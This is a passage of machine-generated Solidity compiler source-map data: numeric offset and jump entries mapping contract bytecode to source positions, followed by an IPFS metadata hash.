502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:251::-;2970:6;3023:2;3011:9;3002:7;2998:23;2994:32;2991:52;;;3039:1;3036;3029:12;2991:52;3071:9;3065:16;3090:31;3115:5;3090:31;:::i;3465:607::-;-1:-1:-1;;;;;3824:15:1;;;3806:34;;3871:2;3856:18;;3849:34;;;;3914:2;3899:18;;3892:34;;;;3957:2;3942:18;;3935:34;;;;4006:15;;;4000:3;3985:19;;3978:44;3786:3;4038:19;;4031:35;;;;3755:3;3740:19;;3465:607::o;4077:306::-;4165:6;4173;4181;4234:2;4222:9;4213:7;4209:23;4205:32;4202:52;;;4250:1;4247;4240:12;4202:52;4279:9;4273:16;4263:26;;4329:2;4318:9;4314:18;4308:25;4298:35;;4373:2;4362:9;4358:18;4352:25;4342:35;;4077:306;;;;;:::o;5603:127::-;5664:10;5659:3;5655:20;5652:1;5645:31;5695:4;5692:1;5685:15;5719:4;5716:1;5709:15;5735:128;5802:9;;;5823:11;;;5820:37;;;5837:18;;:::i;8143:125::-;8208:9;;;8229:10;;;8226:36;;;8242:18;;:::i;8405:127::-;8466:10;8461:3;8457:20;8454:1;8447:31;8497:4;8494:1;8487:15;8521:4;8518:1;8511:15;8537:980;8799:4;8847:3;8836:9;8832:19;8878:6;8867:9;8860:25;8904:2;8942:6;8937:2;8926:9;8922:18;8915:34;8985:3;8980:2;8969:9;8965:18;8958:31;9009:6;9044;9038:13;9075:6;9067;9060:22;9113:3;9102:9;9098:19;9091:26;;9152:2;9144:6;9140:15;9126:29;;9173:1;9183:195;9197:6;9194:1;9191:13;9183:195;;;9262:13;;-1:-1:-1;;;;;9258:39:1;9246:52;;9353:15;;;;9318:12;;;;9294:1;9212:9;9183:195;;;-1:-1:-1;;;;;;;9434:32:1;;;;9429:2;9414:18;;9407:60;-1:-1:-1;;;9498:3:1;9483:19;9476:35;9395:3;8537:980;-1:-1:-1;;;8537:980:1:o;9883:168::-;9956:9;;;9987;;10004:15;;;9998:22;;9984:37;9974:71;;10025:18;;:::i;10056:217::-;10096:1;10122;10112:132;;10166:10;10161:3;10157:20;10154:1;10147:31;10201:4;10198:1;10191:15;10229:4;10226:1;10219:15;10112:132;-1:-1:-1;10258:9:1;;10056:217::o

ipfs://b48c0249218021af24d5a75851edec1b1242dae999aee5ebbe47d741376bcb47